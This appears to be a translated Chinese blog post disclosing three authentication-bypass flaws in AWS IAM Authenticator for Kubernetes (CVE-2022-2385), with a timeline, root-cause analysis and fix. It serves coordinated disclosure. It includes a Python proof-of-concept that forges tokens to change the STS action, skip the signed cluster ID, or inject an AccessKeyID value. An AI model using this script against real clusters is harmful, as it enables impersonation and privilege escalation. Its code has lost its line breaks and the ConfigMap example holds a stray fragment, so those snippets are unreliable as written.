對Kubernetes 的 AWS IAM Authenticator的身份驗證利用
時間線
2022 年 5 月 25 日:向 AWS 安全部門報告了該漏洞。
2022 年 6 月 3 日:與 EKS 團隊會面,討論問題和緩解措施。
2022 年 6 月 10 日:EKS 團隊對我的集群應用了修復以進行驗證。我重新測試并驗證了修復。EKS 團隊開始將更新版本部署到所有地區。
2022 年 6 月 28 日: 更新后的 Authenticator 已成功部署到所有 EKS 區域。
2022 年 6 月 29 日:EKS 團隊打開了一個拉取請求,其中包含對 kubernetes-sigs 組織中 aws-iam-authentication 存儲庫的修復。
2022 年 6 月 30 日:帶有修復的拉取請求被批準并合并到 master。
前言
Amazon Elastic Kubernetes Service (Amazon EKS) 是一項托管服務,可幫助您創建、操作和維護 Kubernetes 集群。mazon EKS 有多種部署選項,包括 AWS 云和本地 (Amazon EKS Anywhere)。Amazon EKS 使用 IAM 通過AWS IAM Authenticator for Kubernetes向集群提供身份驗證[1]。
AWS IAM Authenticator 是位于 Kubernetes 集群控制平面內的組件,可使用用戶和角色等 AWS IAM 身份進行身份驗證。PI 服務器將簽名令牌轉發到 AWS IAM Authenticator 服務器,該服務器針對 AWS Security Token Service (STS) 執行身份驗證。
在對 AWS IAM Authenticator 組件進行研究期間,我發現了身份驗證過程中的幾個缺陷,這些缺陷可能會使得攻擊者繞過對重放攻擊的保護,或者允許攻擊者通過冒充其他身份在集群中獲得更高的權限。在這篇博文中,我將解釋在 AWS IAM Authenticator 中檢測到的三個漏洞,所有這些漏洞都是由同一代碼行引起的。其中兩個自第一次[2]提交(2017 年 10 月 12 日)以來一直存在。
aws-iam-authenticator[3]的開源代碼現已更新并包含補丁。任何使用 EKS Anywhere 或使用易受攻擊版本的aws-iam-authenticator代碼的人都應該更新集群。
AWS 發布了安全公告[4]。
CVE 發布:CVE-2022-2385[5]。
EKS 和 AWS IAM 身份驗證
從 Amazon EKS 于 2018 年推出之日起,它就包括對 AWS IAM 用戶和角色的原生支持,作為可以針對集群進行身份驗證的實體。身份驗證依賴 AWS Security Token Service (AWS STS) 中的GetCallerIdentity操作,該操作返回有關其憑證用于調用操作的 IAM 用戶或角色的詳細信息。此身份驗證流程由AWS IAM Authenticator for Kubernetes工具(稱為aws-iam-authenticator )實施和執行。
aws-iam-身份驗證器工具開發最初是一項開源計劃,旨在創建一種使用 AWS IAM 憑證對 Kubernetes 集群進行身份驗證的機制,最終捐贈給了云提供商特別興趣小組 (SIG)。該項目目前由 Amazon EKS Engineers 維護。
適用于 Kubernetes 的 AWS IAM Authenticator 可以安裝在任何 Kubernetes 集群上,并且默認安裝在 AWS 云和本地 (Amazon EKS Anywhere) 上的任何 EKS 集群中。如果集群基礎設施由提供商管理,最終用戶將無法訪問包括 API 服務器 pod 在內的控制平面資源。由于 AWS IAM Authenticator 也部署在控制平面中,因此最終用戶無法訪問其在托管 EKS 集群中的資源,但可以在 CloudWatch 中查看其日志。
我不會在這篇博文中詳細介紹 AWS IAM Authenticator 服務器的整個后端實現,但它是核心組件,它從 API 服務器接收令牌并使用它來查詢 AWS Security Token Service (AWS STS)匹配身份(用戶或角色)詳細信息。然后,AWS IAM Authenticator 服務器使用映射將 AWS 身份轉換為具有用戶名和組的 Kubernetes 身份。該映射在名為“aws-auth”的 ConfigMap 中指定,并且可以由集群管理員進行編輯。

1. 用戶向 API 服務器發送請求以獲取 Kubernetes 資源,例如“get pods”(可以使用kubectl工具)。該請求在“Authorization”標頭中包含一個token(令牌)。令牌是對 AWS STS 的簽名請求的 base64 編碼字符串。
2. API 服務器接收來自用戶的請求,提取令牌并將其在請求正文中發送到AWS IAM Authenticator 服務器的/authenticate端點。
3. AWS IAM Authenticator 服務器從 API 服務器接收令牌,base64 對其進行解碼并執行一組驗證。如果所有驗證都通過,AWS IAM Authenticator 會將簽名的請求從令牌發送到 AWS STS。
4. AWS STS 從 AWS IAM Authenticator 服務器接收簽名請求并驗證簽名。如果簽名有效,它會將GetCallerIdentityResponse中的 AWS IAM 身份詳細信息發送到 AWS IAM Authenticator 服務器。
5. AWS IAM Authenticator 服務器從 AWS STS 接收GetCallerIdentityResponse對象,并根據“aws-auth” ConfigMap中的規則將其映射到匹配的 Kubernetes 身份。
6. API 服務器從 AWS IAM Authenticator 服務器接收 Kubernetes 身份,并使用 RBAC 檢查其權限。如果身份被授權執行操作,則發回 Kubernetes 資源響應。例如pod 列表。
如果在驗證過程中出現訪問被拒絕、簽名無效或其他錯誤,則會向用戶回滾錯誤消息。
EKS 集群設置
我創建了一個新的 EKS 集群“gaf-cluster”并為 AWS IAM Authenticator 啟用了日志記錄。

我使用以下命令更新了我的~/.kube/config文件(kops 為您完成):
aws eks --region us-east-1 update-kubeconfig --name gaf-cluster
當我運行kubectl命令時,例如“kubectl get pods”,以下請求被發送到 EKS 集群的 API 服務器:

如您所見,生成了一個令牌并隨請求一起發送。這是 base64 解碼值的輸出(沒有k8s-aws-v1前綴):
https://sts.us-east-1.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXXXXXXXXXXXXXXXX%2F20220525%2Fus-east-1 %2Fsts%2Faws4_request&X-Amz-Date=20220525T113918Z&X-Amz-Expires=0&X-Amz-SignedHeaders=host%3Bx-k8s-aws-id&X-Amz-Signature=757fab3461c3489d7a71d65658299940fba6516134fcab419a
這是對 STS 的簽名請求。API 服務器將獲取此值,將其轉發到 AWS IAM Authenticator 服務器,該服務器將對令牌進行 base64 解碼,進行檢查并使用簽名請求從 STS 服務獲取身份 ARN。對令牌內容進行的檢查有:
- URL 方案必須是 HTTPS。
- URL 主機必須是有效的 STS 主機。
- URL 路徑必須是“/”。
- 遍歷所有查詢參數并檢查參數名稱是否必須在允許列表中。
- “action”參數必須是“GetCallerIdentity”。
- 集群 ID 標頭作為請求的一部分進行簽名。
- 從“X-Amz-Credentials”參數中提取訪問密鑰值。
在 AWS IAM Authenticator 服務器完成映射后,生成的身份將具有 Kubernetes用戶名和組,這些用戶名和組將在集群內使用并由 RBAC 規則強制執行。
研究成果
1. 驗證簽名的 STS 請求參數和 Action 名稱的重要性
檢查參數的名稱和值以避免由操作引起的安全問題是至關重要的。在這里[6],您可以了解此類漏洞。
在 AWS IAM Authenticator 中,攻擊者可以制定可執行任何操作值的惡意令牌。

2. 發送惡意令牌而不簽署集群 ID 標頭
集群 ID 是每個集群的唯一標識符,可防止某些重放攻擊。即使攻擊者設法獲得了屬于其他人的 STS GetCallerIdentity 請求,也不能使用它代表該用戶對 EKS 集群進行身份驗證,因為集群 ID 標頭未作為請求的一部分進行簽名。
在 AWS IAM Authenticator 中,攻擊者可以在不簽署集群 ID 的情況下制作惡意令牌。此令牌已被 AWS IAM Authenticator 服務器接受,并且不會在 STS 上導致錯誤,因此,對于我們有干凈的 STS GetCallerIdentity 請求(未為另一個集群簽名)的情況,它會繞過重放保護。
3.完全控制 aws-iam-authenticator 使用的訪問密鑰值
用戶可以將映射添加到包含 {{AccessKeyID}} 占位符的“ aws-auth” ConfigMap,該占位符將在映射評估期間被服務器替換。

以下是“ aws-auth” ConfingMap 中此類映射的示例。假設集群管理員在 AWS 訪問密鑰之后定義了集群中的用戶名。我將為“gaf_test”IAM 用戶添加到“gaf-cluster”的映射。
使用“kubectl edit configmaps aws-auth -n kube-system”進行編輯:
printf("hello world!");mapUsers: |- userarn: arn:aws:iam::000000000000:user/gaf_testusername: user:
現在,當我使用“gaf_test”IAM 身份時,Kubernetes 映射的用戶名將匹配訪問密鑰。

在 AWS IAM Authenticator 中,攻擊者可以制作惡意令牌來操縱 AccessKeyID 值。我可以輸入任何我想要的字符串,AWS IAM Authenticator 服務器將在映射過程中使用該字符串替換 {{AccessKeyID}} 占位符。

這可能會導致 EKS 集群中的權限提升。
這是一個 Python 腳本,它生成所有三種類型的惡意令牌:
import base64import boto3import refrom botocore.signers import RequestSigner
REGION = 'us-east-1'CLUSTER_ID = 'gaf-cluster'
def get_bearer_token(url, headers):STS_TOKEN_EXPIRES_IN = 60session = boto3.session.Session()
client = session.client('sts', region_name=REGION)service_id = client.meta.service_model.service_id
signer = RequestSigner(service_id,REGION,'sts','v4',session.get_credentials(),session.events)
params = {'method': 'GET','url': url,'body': {},'headers': headers,'context': {}}
signed_url = signer.generate_presigned_url(params,region_name=REGION,expires_in=STS_TOKEN_EXPIRES_IN,operation_name='')
return signed_url
def base64_encode_no_padding(signed_url):base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')
# remove any base64 encoding padding:return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)
def create_mal_token_with_other_action(action_name):url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'headers = {'x-k8s-aws-id': CLUSTER_ID}signed_url = get_bearer_token(url, headers)
signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')signed_url += f'&action=GetCallerIdentity'
return base64_encode_no_padding(signed_url)
def create_mal_token_without_cluster_id_header_signed():url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'headers = {}signed_url = get_bearer_token(url, headers)
signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')signed_url += '&x-amz-signedheaders=x-k8s-aws-id'
return base64_encode_no_padding(signed_url)
def create_mal_token_with_other_access_key(value):url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'headers = {'x-k8s-aws-id': CLUSTER_ID}signed_url = get_bearer_token(url, headers)
signed_url = signed_url.replace(f'&x-amz-credential={value}', '')signed_url += f'&x-amz-credential={value}'
return base64_encode_no_padding(signed_url)
print("Token with other action:")print(create_mal_token_with_other_action('CreateUser'))
print("Token without cluster id header signed:")print(create_mal_token_without_cluster_id_header_signed())
print("Token with other value as access key:")print(create_mal_token_with_other_access_key('some-other-value'))
注意:您可能需要多次將帶有惡意令牌的請求發送到 EKS API 服務器。原因將在下述部分進一步解釋。
根本原因
三個漏洞的原因在于此代碼行:

在上面的代碼中,攻擊者可以發送兩個具有相同名稱但具有不同大小寫字符的不同變量。例如:"Action" and "action"。
由于兩者都是“ToLower”,queryParamsLower字典中的值將被覆蓋,而對 AWS 的請求將與參數及其值一起發送。很棒的是 AWS STS 會忽略它不需要的參數,在這種情況下,AWS STS 將忽略“action”參數。
因為 for 循環沒有排序,所以參數并不總是按照我們想要的順序覆蓋,因此我們可能需要多次將帶有惡意令牌的請求發送到 AWS IAM Authenticator 服務器。自首次提交(2017 年 10 月 12 日)以來,易受攻擊的根本原因在于 AWS IAM Authenticator,因此從第一天起,更改操作和未簽名的集群 ID 令牌都可以利用。自2020 年 9 月 2 日(版本 v0.5.2)添加此功能以來,可以通過 AccessKeyID 來利用用戶名。
修復
EKS 團隊添加了一個函數來驗證沒有重復的參數名稱。
